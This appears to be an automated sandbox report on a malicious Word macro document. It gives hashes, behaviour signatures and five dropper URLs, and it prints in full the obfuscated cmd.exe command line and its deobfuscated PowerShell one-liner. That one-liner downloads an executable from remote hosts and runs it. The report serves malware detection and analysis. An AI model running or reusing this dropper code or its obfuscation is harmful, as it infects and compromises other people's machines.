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Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240215-en
  • resource tags

    arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
  • submitted
    23/05/2024, 12:15

General

  • Target

    6ae87dcf399fd436295324af614bfe7d_JaffaCakes118.doc

  • Size

    83KB

  • MD5

    6ae87dcf399fd436295324af614bfe7d

  • SHA1

    94961851f49f5b8972bf21eac49a2422265af154

  • SHA256

    e5acae3216827c1b58921810d5440ee5453284b3ebb1637de2cce0f8d60f126f

  • SHA512

    c0a32402c707238b6f733396bf47a3e492fa9aef56e7ab7bd2411d9b297a60813f2eca7dc4beae0ac2f942037e09da08031ec1134ddd8755a61cadf4c1aa7837

  • SSDEEP

    1536:WptJlmrJpmxlRw99NBO+aKz6Qaqya5XJJue+xT:ate2dw99fWqb5zu

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://kulikovonn.ru/l5vT7q19U

exe.dropper

http://optics-line.com/vUUp9ygDE

exe.dropper

http://lonestarcustompainting.com/BLC3RY4O

exe.dropper

http://montegrappa.com.pa/OkyoMANm

exe.dropper

http://kristianmarlow.com/mhFm2oA4Q

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6ae87dcf399fd436295324af614bfe7d_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2372
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2052
      • C:\Windows\SysWOW64\Cmd.exe
        Cmd /V^:^O/C"^set j^L^T= ^ ^ ^ ^ ^ ^ ^ ^ }^}{^hctac^}^;^kaer^b^;V^Dn$^ ^m^e^t^I-ek^ovn^I;)VDn$^ ,r^j^d$(el^i^Fd^a^olnwoD^.I^Y^o^$^{yr^t^{)RlV^$^ n^i rj^d$(^hcaero^f;^'^exe.^'+Q^Qd^$^+^'^\'^+ci^lbu^p:vn^e^$^=V^Dn^$^;^'086' = ^Q^Q^d^$^;)^'@^'(til^p^S^.^'^Q4Ao^2m^Fh^m/m^oc^.wo^lr^amnaitsirk//:pt^th@^mNA^MoykO/^a^p.moc.^ap^p^arg^etno^m//:p^t^t^h@^O^4YR^3C^LB/^m^oc^.^gnitniapm^ots^ucra^t^sen^o^l//^:p^t^t^h^@ED^g^y^9p^UUv/m^oc.^en^i^l^-scitpo//:^ptth@^U91q7^Tv5^l/ur^.nn^ov^oki^lu^k//^:^p^tt^h^'=RlV$;^tn^ei^lCbeW.teN^ tcejbo-^w^en=IY^o^$^ ^ll^ehsre^w^op&&^f^or /^L %^I ^in (^38^7,^-^1,0)^do ^s^et 6^xN=!6^xN!!j^L^T:~%^I,1!&&^i^f %^I eq^u ^0 c^al^l %6^xN:~^-^388%"
        2⤵
        • Process spawned unexpected child process
        • An obfuscated cmd.exe command-line is typically used to evade detection.
        • Suspicious use of WriteProcessMemory
        PID:2476
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell $oYI=new-object Net.WebClient;$VlR='http://kulikovonn.ru/l5vT7q19U@http://optics-line.com/vUUp9ygDE@http://lonestarcustompainting.com/BLC3RY4O@http://montegrappa.com.pa/OkyoMANm@http://kristianmarlow.com/mhFm2oA4Q'.Split('@');$dQQ = '680';$nDV=$env:public+'\'+$dQQ+'.exe';foreach($djr in $VlR){try{$oYI.DownloadFile($djr, $nDV);Invoke-Item $nDV;break;}catch{}}
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2276

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      68902413f9dc7244aaec28dad4348caf

      SHA1

      e45fbdda7f5135c13da5d301661753330f0b15c8

      SHA256

      246452b22a2a10d1cdc1d057c0897c287c9cfee396228652c9011d7407e8872c

      SHA512

      f9a2d07194edef0575b81335beca0b830ccd7d7b97641c817bd3d18b481661d37afb584171eab9c34beeac594b7bd4659dfc1386fb7910445695fa7425a9ba34

    • memory/2372-36-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/2372-54-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/2372-6-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/2372-7-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/2372-11-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/2372-15-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/2372-33-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/2372-32-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/2372-27-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/2372-23-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/2372-37-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/2372-0-0x000000002F9A1000-0x000000002F9A2000-memory.dmp

      Filesize

      4KB

    • memory/2372-2-0x0000000070C2D000-0x0000000070C38000-memory.dmp

      Filesize

      44KB

    • memory/2372-34-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/2372-35-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/2372-13-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/2372-12-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/2372-9-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/2372-10-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/2372-8-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/2372-53-0x0000000070C2D000-0x0000000070C38000-memory.dmp

      Filesize

      44KB

    • memory/2372-14-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/2372-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2372-69-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2372-70-0x0000000070C2D000-0x0000000070C38000-memory.dmp

      Filesize

      44KB